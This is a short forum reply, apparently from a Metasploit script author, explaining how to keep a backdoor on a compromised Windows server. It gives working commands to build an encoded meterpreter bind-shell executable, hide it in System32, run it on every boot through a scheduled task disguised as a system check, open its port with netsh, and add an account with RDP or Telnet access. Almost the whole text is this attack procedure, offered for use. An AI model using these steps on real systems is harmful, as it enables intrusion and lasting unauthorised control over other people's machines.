why not use Metasploit it self? create a payload with msfpayload something like this:
Code:
/msfpayload windows/meterpreter/bind_tcp LPORT=8080 R | ./msfencode -c 2 -t exe -o 345532.exe
then upload the exe into %WINDIR%\System32\ , shecdule it to run every time the server is reboted like this:
Code:
schtasks /create /tn "SysCheckonStart" /tr c:\windows\system32\345532.exe /sc onstart
then configure the built in firewall to let the conection to this port thru:
Code:
netsh firewall set portopening protocol = tcp port = 8080 mode = enable'
or better yet create an account and enable RDP or Telnet you can use my meterpreter script that is part of Metasploit 3.2 just run in meterpreter
Code:
run getgui -h
run gettelnet -h
for the options it will do all the heavy lifting for you, if you only have shell follow this post on my blog:
http://darkoperator.blogspot.com/200...-shell-in.html
there are many ways to skin the cat I hope this sets you in the right direction and sorry for the self promotion by mentioning my scripts and blog